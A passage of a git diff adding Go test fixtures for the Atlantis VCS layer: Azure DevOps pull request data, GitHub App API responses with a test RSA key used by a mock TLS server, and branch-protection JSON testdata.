"https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/39f52d24533cc712fc845ed9fd1b6c06b3942588" + }, + "reviewers": [ + { + "reviewerUrl": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/reviewers/d6245f20-2af8-44f4-9451-8107cb2767db", + "vote": 0, + "id": "d6245f20-2af8-44f4-9451-8107cb2767db", + "displayName": "Normal Paulk", + "uniqueName": "fabrikamfiber16@hotmail.com", + "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", + "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" + } + ], + "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22", + "_links": { + "self": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22" + }, + "repository": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719" + }, + "workItems": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/workitems" + }, + "sourceBranch": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" + }, + "targetBranch": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" + }, + "sourceCommit": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" + }, + "targetCommit": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" + }, + "createdBy": { + "href": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db" + }, + "iterations": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/iterations" + } + }, + "supportsIterations": true, + "artifactId": "vstfs:///Git/PullRequestId/a7573007-bbb3-4341-b726-0c4148a07853%2f3411ebc1-d5aa-464f-9615-0b527bc66719%2f22" +}` + +var ADSelfPullEvent = azuredevops.Event{ + EventType: "git.pullrequest.created", + Resource: &ADSelfPull, +} + +var ADSelfPullUpdatedEvent = azuredevops.Event{ + EventType: "git.pullrequest.updated", + Resource: &ADSelfPull, +} + +var ADSelfPullClosedEvent = azuredevops.Event{ + EventType: "git.pullrequest.merged", + Resource: &ADSelfPullCompleted, +} + +var ADSelfPull = azuredevops.GitPullRequest{ + CreatedBy: &azuredevops.IdentityRef{ + ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), + DisplayName: azuredevops.String("User"), + UniqueName: azuredevops.String("user@example.com"), + }, + LastMergeSourceCommit: &azuredevops.GitCommitRef{ + CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + URL: azuredevops.String("https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + }, + PullRequestID: azuredevops.Int(1), + Repository: &ADSelfRepo, + SourceRefName: azuredevops.String("refs/heads/feature/sourceBranch"), + Status: azuredevops.String("active"), + TargetRefName: azuredevops.String("refs/heads/targetBranch"), + URL: azuredevops.String("https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), +} + +var ADSelfPullCompleted = azuredevops.GitPullRequest{ + CreatedBy: &azuredevops.IdentityRef{ + ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), + DisplayName: azuredevops.String("User"), + UniqueName: azuredevops.String("user@example.com"), + }, + LastMergeSourceCommit: &azuredevops.GitCommitRef{ + CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + URL: azuredevops.String("https://https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + }, + PullRequestID: azuredevops.Int(1), + Repository: &ADSelfRepo, + SourceRefName: azuredevops.String("refs/heads/owner/sourceBranch"), + Status: azuredevops.String("completed"), + TargetRefName: azuredevops.String("refs/heads/targetBranch"), + URL: azuredevops.String("https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), +} + +var ADSelfRepo = azuredevops.GitRepository{ + DefaultBranch: azuredevops.String("refs/heads/main"), + Name: azuredevops.String("repo"), + ParentRepository: &azuredevops.GitRepositoryRef{ + Name: azuredevops.String("owner"), + }, + Project: &azuredevops.TeamProjectReference{ + ID: azuredevops.String("a21f5f20-4a12-aaf4-ab12-9a0927cbbb90"), + Name: azuredevops.String("project"), + State: azuredevops.String("unchanged"), + }, + WebURL: azuredevops.String("https://devops.abc.com/owner/project/_git/repo"), +} + +var ADSelfPullJSON = `{ + "repository": { + "id": "3411ebc1-d5aa-464f-9615-0b527bc66719", + "name": "repo", + "url": "https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", + "webUrl": "https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", + "project": { + "id": "a7573007-bbb3-4341-b726-0c4148a07853", + "name": "project", + "description": "test project created on Halloween 2016", + "url": "https://dev.azure.com/owner/_apis/projects/a7573007-bbb3-4341-b726-0c4148a07853", + "state": "wellFormed", + "revision": 7 + }, + "remoteUrl": "https://devops.abc.com/owner/project/_git/repo" + }, + "pullRequestId": 22, + "codeReviewId": 22, + "status": "active", + "createdBy": { + "id": "d6245f20-2af8-44f4-9451-8107cb2767db", + "displayName": "Normal Paulk", + "uniqueName": "fabrikamfiber16@hotmail.com", + "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", + "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" + }, + "creationDate": "2016-11-01T16:30:31.6655471Z", + "title": "A new feature", + "description": "Adding a new feature", + "sourceRefName": "refs/heads/npaulk/my_work", + "targetRefName": "refs/heads/new_feature", + "mergeStatus": "succeeded", + "mergeId": "f5fc8381-3fb2-49fe-8a0d-27dcc2d6ef82", + "lastMergeSourceCommit": { + "commitId": "b60280bc6e62e2f880f1b63c1e24987664d3bda3", + "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" + }, + "lastMergeTargetCommit": { + "commitId": "f47bbc106853afe3c1b07a81754bce5f4b8dbf62", + "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" + }, + "lastMergeCommit": { + "commitId": "39f52d24533cc712fc845ed9fd1b6c06b3942588", + "author": { + "name": "Normal Paulk", + "email": "fabrikamfiber16@hotmail.com", + "date": "2016-11-01T16:30:32Z" + }, + "committer": { + "name": "Normal Paulk", + "email": "fabrikamfiber16@hotmail.com", + "date": "2016-11-01T16:30:32Z" + }, + "comment": "Merge pull request 22 from npaulk/my_work into new_feature", + "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/39f52d24533cc712fc845ed9fd1b6c06b3942588" + }, + "reviewers": [ + { + "reviewerUrl": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/reviewers/d6245f20-2af8-44f4-9451-8107cb2767db", + "vote": 0, + "id": "d6245f20-2af8-44f4-9451-8107cb2767db", + "displayName": "Normal Paulk", + "uniqueName": "fabrikamfiber16@hotmail.com", + "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", + "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" + } + ], + "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22", + "_links": { + "self": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22" + }, + "repository": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719" + }, + "workItems": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/workitems" + }, + "sourceBranch": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" + }, + "targetBranch": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" + }, + "sourceCommit": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" + }, + "targetCommit": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" + }, + "createdBy": { + "href": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db" + }, + "iterations": { + "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/iterations" + } + }, + "supportsIterations": true, + "artifactId": "vstfs:///Git/PullRequestId/a7573007-bbb3-4341-b726-0c4148a07853%2f3411ebc1-d5aa-464f-9615-0b527bc66719%2f22" +}` + +const GithubPrivateKey = `-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAuEPzOUE+kiEH1WLiMeBytTEF856j0hOVcSUSUkZxKvqczkWM +9vo1gDyC7ZXhdH9fKh32aapba3RSsp4ke+giSmYTk2mGR538ShSDxh0OgpJmjiKP +X0Bj4j5sFqfXuCtl9SkH4iueivv4R53ktqM+n6hk98l6hRwC39GVIblAh2lEM4L/ +6WvYwuQXPMM5OG2Ryh2tDZ1WS5RKfgq+9ksNJ5Q9UtqtqHkO+E63N5OK9sbzpUUm +oNaOl3udTlZD3A8iqwMPVxH4SxgATBPAc+bmjk6BMJ0qIzDcVGTrqrzUiywCTLma +szdk8GjzXtPDmuBgNn+o6s02qVGpyydgEuqmTQIDAQABAoIBACL6AvkjQVVLn8kJ +dBYznJJ4M8ECo+YEgaFwgAHODT0zRQCCgzd+Vxl4YwHmKV2Lr+y2s0drZt8GvYva +KOK8NYYZyi15IlwFyRXmvvykF1UBpSXluYFDH7KaVroWMgRreHcIys5LqVSIb6Bo +gDmK0yBLPp8qR29s2b7ScZRtLaqGJiX+j55rNzrZwxHkxFHyG9OG+u9IsBElcKCP +kYCVE8ZdYexfnKOZbgn2kZB9qu0T/Mdvki8yk3I2bI6xYO24oQmhnT36qnqWoCBX +NuCNsBQgpYZeZET8mEAUmo9d+ABmIHIvSs005agK8xRaP4+6jYgy6WwoejJRF5yd +NBuF7aECgYEA50nZ4FiZYV0vcJDxFYeY3kYOvVuKn8OyW+2rg7JIQTremIjv8FkE +ZnwuF9ZRxgqLxUIfKKfzp/5l5LrycNoj2YKfHKnRejxRWXqG+ZETfxxlmlRns0QG +J4+BYL0CoanDSeA4fuyn4Bv7cy/03TDhfg/Uq0Aeg+hhcPE/vx3ebPsCgYEAy/Pv +eDLssOSdeyIxf0Brtocg6aPXIVaLdus+bXmLg77rJIFytAZmTTW8SkkSczWtucI3 +FI1I6sei/8FdPzAl62/JDdlf7Wd9K7JIotY4TzT7Tm7QU7xpfLLYIP1bOFjN81rk +77oOD4LsXcosB/U6s1blPJMZ6AlO2EKs10UuR1cCgYBipzuJ2ADEaOz9RLWwi0AH +Pza2Sj+c2epQD9ZivD7Zo/Sid3ZwvGeGF13JyR7kLEdmAkgsHUdu1rI7mAolXMaB +1pdrsHureeLxGbRM6za3tzMXWv1Il7FQWoPC8ZwXvMOR1VQDv4nzq7vbbA8z8c+c +57+8tALQHOTDOgQIzwK61QKBgERGVc0EJy4Uag+VY8J4m1ZQKBluqo7TfP6DQ7O8 +M5MX73maB/7yAX8pVO39RjrhJlYACRZNMbK+v/ckEQYdJSSKmGCVe0JrGYDuPtic +I9+IGfSorf7KHPoMmMN6bPYQ7Gjh7a++tgRFTMEc8956Hnt4xGahy9NcglNtBpVN +6G8jAoGBAMCh028pdzJa/xeBHLLaVB2sc0Fe7993WlsPmnVE779dAz7qMscOtXJK +fgtriltLSSD6rTA9hUAsL/X62rY0wdXuNdijjBb/qvrx7CAV6i37NK1CjABNjsfG +ZM372Ac6zc1EqSrid2IjET1YqyIW2KGLI1R2xbQc98UGlt48OdWu +-----END RSA PRIVATE KEY----- +` + +// https://developer.github.com/v3/apps/#response-9 +var githubConversionJSON = `{ + "id": 1, + "node_id": "MDM6QXBwNTk=", + "owner": { + "login": "octocat", + "id": 1, + "node_id": "MDQ6VXNlcjE=", + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "gravatar_id": "", + "url": "https://api.github.com/users/octocat", + "html_url": "https://github.com/octocat", + "followers_url": "https://api.github.com/users/octocat/followers", + "following_url": "https://api.github.com/users/octocat/following{/other_user}", + "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", + "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", + "organizations_url": "https://api.github.com/users/octocat/orgs", + "repos_url": "https://api.github.com/users/octocat/repos", + "events_url": "https://api.github.com/users/octocat/events{/privacy}", + "received_events_url": "https://api.github.com/users/octocat/received_events", + "type": "User", + "site_admin": false + }, + "name": "Atlantis", + "description": null, + "external_url": "https://atlantis.example.com", + "html_url": "https://github.com/apps/atlantis", + "created_at": "2018-09-13T12:28:37Z", + "updated_at": "2018-09-13T12:28:37Z", + "client_id": "Iv1.8a61f9b3a7aba766", + "client_secret": "1726be1638095a19edd134c77bde3aa2ece1e5d8", + "webhook_secret": "e340154128314309424b7c8e90325147d99fdafa", + "pem": "%s" +}` + +var githubAppInstallationJSON = `[ + { + "id": 1, + "account": { + "login": "github", + "id": 1, + "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", + "url": "https://api.github.com/orgs/github", + "repos_url": "https://api.github.com/orgs/github/repos", + "events_url": "https://api.github.com/orgs/github/events", + "hooks_url": "https://api.github.com/orgs/github/hooks", + "issues_url": "https://api.github.com/orgs/github/issues", + "members_url": "https://api.github.com/orgs/github/members{/member}", + "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "description": "A great organization" + }, + "access_tokens_url": "https://api.github.com/installations/1/access_tokens", + "repositories_url": "https://api.github.com/installation/repositories", + "html_url": "https://github.com/organizations/github/settings/installations/1", + "app_id": 1, + "target_id": 1, + "target_type": "Organization", + "permissions": { + "metadata": "read", + "contents": "read", + "issues": "write", + "single_file": "write" + }, + "events": [ + "push", + "pull_request" + ], + "single_file_name": "config.yml", + "repository_selection": "selected" + } +]` + +var githubAppMultipleInstallationJSON = `[ + { + "id": 1, + "account": { + "login": "github", + "id": 1, + "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", + "url": "https://api.github.com/orgs/github", + "repos_url": "https://api.github.com/orgs/github/repos", + "events_url": "https://api.github.com/orgs/github/events", + "hooks_url": "https://api.github.com/orgs/github/hooks", + "issues_url": "https://api.github.com/orgs/github/issues", + "members_url": "https://api.github.com/orgs/github/members{/member}", + "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "description": "A great organization" + }, + "access_tokens_url": "https://api.github.com/installations/1/access_tokens", + "repositories_url": "https://api.github.com/installation/repositories", + "html_url": "https://github.com/organizations/github/settings/installations/1", + "app_id": 1, + "target_id": 1, + "target_type": "Organization", + "permissions": { + "metadata": "read", + "contents": "read", + "issues": "write", + "single_file": "write" + }, + "events": [ + "push", + "pull_request" + ], + "single_file_name": "config.yml", + "repository_selection": "selected" + }, + { + "id": 2, + "account": { + "login": "github", + "id": 1, + "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", + "url": "https://api.github.com/orgs/github", + "repos_url": "https://api.github.com/orgs/github/repos", + "events_url": "https://api.github.com/orgs/github/events", + "hooks_url": "https://api.github.com/orgs/github/hooks", + "issues_url": "https://api.github.com/orgs/github/issues", + "members_url": "https://api.github.com/orgs/github/members{/member}", + "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "description": "A great organization" + }, + "access_tokens_url": "https://api.github.com/installations/1/access_tokens", + "repositories_url": "https://api.github.com/installation/repositories", + "html_url": "https://github.com/organizations/github/settings/installations/1", + "app_id": 1, + "target_id": 1, + "target_type": "Organization", + "permissions": { + "metadata": "read", + "contents": "read", + "issues": "write", + "single_file": "write" + }, + "events": [ + "push", + "pull_request" + ], + "single_file_name": "config.yml", + "repository_selection": "selected" + } +]` + +// nolint: gosec +var githubAppTokenJSON = `{ + "token": "some-token", + "expires_at": "2050-01-01T00:00:00Z", + "permissions": { + "issues": "write", + "contents": "read" + }, + "repositories": [ + { + "id": 1296269, + "node_id": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5", + "name": "Hello-World", + "full_name": "octocat/Hello-World", + "owner": { + "login": "octocat", + "id": 1, + "node_id": "MDQ6VXNlcjE=", + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "gravatar_id": "", + "url": "https://api.github.com/users/octocat", + "html_url": "https://github.com/octocat", + "followers_url": "https://api.github.com/users/octocat/followers", + "following_url": "https://api.github.com/users/octocat/following{/other_user}", + "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", + "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", + "organizations_url": "https://api.github.com/users/octocat/orgs", + "repos_url": "https://api.github.com/users/octocat/repos", + "events_url": "https://api.github.com/users/octocat/events{/privacy}", + "received_events_url": "https://api.github.com/users/octocat/received_events", + "type": "User", + "site_admin": false + }, + "private": false, + "html_url": "https://github.com/octocat/Hello-World", + "description": "This your first repo!", + "fork": false, + "url": "https://api.github.com/repos/octocat/Hello-World", + "archive_url": "http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}", + "assignees_url": "http://api.github.com/repos/octocat/Hello-World/assignees{/user}", + "blobs_url": "http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}", + "branches_url": "http://api.github.com/repos/octocat/Hello-World/branches{/branch}", + "collaborators_url": "http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}", + "comments_url": "http://api.github.com/repos/octocat/Hello-World/comments{/number}", + "commits_url": "http://api.github.com/repos/octocat/Hello-World/commits{/sha}", + "compare_url": "http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}", + "contents_url": "http://api.github.com/repos/octocat/Hello-World/contents/{+path}", + "contributors_url": "http://api.github.com/repos/octocat/Hello-World/contributors", + "deployments_url": "http://api.github.com/repos/octocat/Hello-World/deployments", + "downloads_url": "http://api.github.com/repos/octocat/Hello-World/downloads", + "events_url": "http://api.github.com/repos/octocat/Hello-World/events", + "forks_url": "http://api.github.com/repos/octocat/Hello-World/forks", + "git_commits_url": "http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}", + "git_refs_url": "http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}", + "git_tags_url": "http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}", + "git_url": "git:github.com/octocat/Hello-World.git", + "issue_comment_url": "http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}", + "issue_events_url": "http://api.github.com/repos/octocat/Hello-World/issues/events{/number}", + "issues_url": "http://api.github.com/repos/octocat/Hello-World/issues{/number}", + "keys_url": "http://api.github.com/repos/octocat/Hello-World/keys{/key_id}", + "labels_url": "http://api.github.com/repos/octocat/Hello-World/labels{/name}", + "languages_url": "http://api.github.com/repos/octocat/Hello-World/languages", + "merges_url": "http://api.github.com/repos/octocat/Hello-World/merges", + "milestones_url": "http://api.github.com/repos/octocat/Hello-World/milestones{/number}", + "notifications_url": "http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}", + "pulls_url": "http://api.github.com/repos/octocat/Hello-World/pulls{/number}", + "releases_url": "http://api.github.com/repos/octocat/Hello-World/releases{/id}", + "ssh_url": "git@github.com:octocat/Hello-World.git", + "stargazers_url": "http://api.github.com/repos/octocat/Hello-World/stargazers", + "statuses_url": "http://api.github.com/repos/octocat/Hello-World/statuses/{sha}", + "subscribers_url": "http://api.github.com/repos/octocat/Hello-World/subscribers", + "subscription_url": "http://api.github.com/repos/octocat/Hello-World/subscription", + "tags_url": "http://api.github.com/repos/octocat/Hello-World/tags", + "teams_url": "http://api.github.com/repos/octocat/Hello-World/teams", + "trees_url": "http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}", + "clone_url": "https://github.com/octocat/Hello-World.git", + "mirror_url": "git:git.example.com/octocat/Hello-World", + "hooks_url": "http://api.github.com/repos/octocat/Hello-World/hooks", + "svn_url": "https://svn.github.com/octocat/Hello-World", + "homepage": "https://github.com", + "language": null, + "forks_count": 9, + "stargazers_count": 80, + "watchers_count": 80, + "size": 108, + "default_branch": "main", + "open_issues_count": 0, + "is_template": true, + "topics": [ + "octocat", + "atom", + "electron", + "api" + ], + "has_issues": true, + "has_projects": true, + "has_wiki": true, + "has_pages": false, + "has_downloads": true, + "archived": false, + "disabled": false, + "visibility": "public", + "pushed_at": "2011-01-26T19:06:43Z", + "created_at": "2011-01-26T19:01:12Z", + "updated_at": "2011-01-26T19:14:43Z", + "permissions": { + "admin": false, + "push": false, + "pull": true + }, + "allow_rebase_merge": true, + "template_repository": null, + "temp_clone_token": "ABTLWHOULUVAXGTRYU7OC2876QJ2O", + "allow_squash_merge": true, + "allow_merge_commit": true, + "subscribers_count": 42, + "network_count": 0 + } + ] +}` + +var githubAppJSON = `{ + "id": 1, + "slug": "octoapp", + "node_id": "MDExOkludGVncmF0aW9uMQ==", + "owner": { + "login": "github", + "id": 1, + "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", + "url": "https://api.github.com/orgs/github", + "repos_url": "https://api.github.com/orgs/github/repos", + "events_url": "https://api.github.com/orgs/github/events", + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "gravatar_id": "", + "html_url": "https://github.com/octocat", + "followers_url": "https://api.github.com/users/octocat/followers", + "following_url": "https://api.github.com/users/octocat/following{/other_user}", + "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", + "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", + "organizations_url": "https://api.github.com/users/octocat/orgs", + "received_events_url": "https://api.github.com/users/octocat/received_events", + "type": "User", + "site_admin": true + }, + "name": "Octocat App", + "description": "", + "external_url": "https://example.com", + "html_url": "https://github.com/apps/octoapp", + "created_at": "2017-07-08T16:18:44-04:00", + "updated_at": "2017-07-08T16:18:44-04:00", + "permissions": { + "metadata": "read", + "contents": "read", + "issues": "write", + "single_file": "write" + }, + "events": [ + "push", + "pull_request" + ] + }` + +func validateGithubToken(tokenString string) error { + key, err := jwt.ParseRSAPrivateKeyFromPEM([]byte(GithubPrivateKey)) + if err != nil { + return fmt.Errorf("could not parse private key: %s", err) + } + + token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { + // Don't forget to validate the alg is what you expect: + if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok { + err := fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) + + return nil, err + } + + return key.Public(), nil + }) + + if err != nil { + return err + } + + if claims, ok := token.Claims.(jwt.MapClaims); !ok || !token.Valid || claims["iss"] != "1" { + return fmt.Errorf("Invalid token") + } + return nil +} + +func GithubAppTestServer(t *testing.T) (string, error) { + counter := 0 + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v3/app-manifests/good-code/conversions": + encodedKey := strings.Join(strings.Split(GithubPrivateKey, "\n"), "\\n") + appInfo := fmt.Sprintf(githubConversionJSON, encodedKey) + w.Write([]byte(appInfo)) // nolint: errcheck + // https://developer.github.com/v3/apps/#list-installations + case "/api/v3/app/installations": + token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) + if err := validateGithubToken(token); err != nil { + w.WriteHeader(403) + w.Write([]byte("Invalid token")) // nolint: errcheck + return + } + + w.Write([]byte(githubAppInstallationJSON)) // nolint: errcheck + return + case "/api/v3/apps/some-app": + token := strings.Replace(r.Header.Get("Authorization"), "token ", "", 1) + + // token is taken from githubAppTokenJSON + if token != "some-token" { + w.WriteHeader(403) + w.Write([]byte("Invalid installation token")) // nolint: errcheck + return + } + w.Write([]byte(githubAppJSON)) // nolint: errcheck + return + case "/api/v3/app/installations/1/access_tokens": + token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) + if err := validateGithubToken(token); err != nil { + w.WriteHeader(403) + w.Write([]byte("Invalid token")) // nolint: errcheck + return + } + + appToken := fmt.Sprintf(githubAppTokenJSON, counter) + counter++ + w.Write([]byte(appToken)) // nolint: errcheck + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + + testServerURL, err := url.Parse(testServer.URL) + + return testServerURL.Host, err +} + +func GithubMultipleAppTestServer(t *testing.T) (string, error) { + counter := 0 + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v3/app-manifests/good-code/conversions": + encodedKey := strings.Join(strings.Split(GithubPrivateKey, "\n"), "\\n") + appInfo := fmt.Sprintf(githubConversionJSON, encodedKey) + w.Write([]byte(appInfo)) // nolint: errcheck + // https://developer.github.com/v3/apps/#list-installations + case "/api/v3/app/installations": + token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) + if err := validateGithubToken(token); err != nil { + w.WriteHeader(403) + w.Write([]byte("Invalid token")) // nolint: errcheck + return + } + + w.Write([]byte(githubAppMultipleInstallationJSON)) // nolint: errcheck + return + case "/api/v3/apps/some-app": + token := strings.Replace(r.Header.Get("Authorization"), "token ", "", 1) + + // token is taken from githubAppTokenJSON + if token != "some-token" { + w.WriteHeader(403) + w.Write([]byte("Invalid installation token")) // nolint: errcheck + return + } + w.Write([]byte(githubAppJSON)) // nolint: errcheck + return + case "/api/v3/app/installations/1/access_tokens": + token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) + if err := validateGithubToken(token); err != nil { + w.WriteHeader(403) + w.Write([]byte("Invalid token")) // nolint: errcheck + return + } + + appToken := fmt.Sprintf(githubAppTokenJSON, counter) + counter++ + w.Write([]byte(appToken)) // nolint: errcheck + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + + testServerURL, err := url.Parse(testServer.URL) + + return testServerURL.Host, err +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-expected.json b/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-expected.json new file mode 100644 index 0000000000..ad84fee1f3 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-expected.json @@ -0,0 +1,58 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-failed.json b/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-failed.json new file mode 100644 index 0000000000..8b1ee9c1b5 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-failed.json @@ -0,0 +1,64 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "my-required-expected-check", + "state": "FAILED", 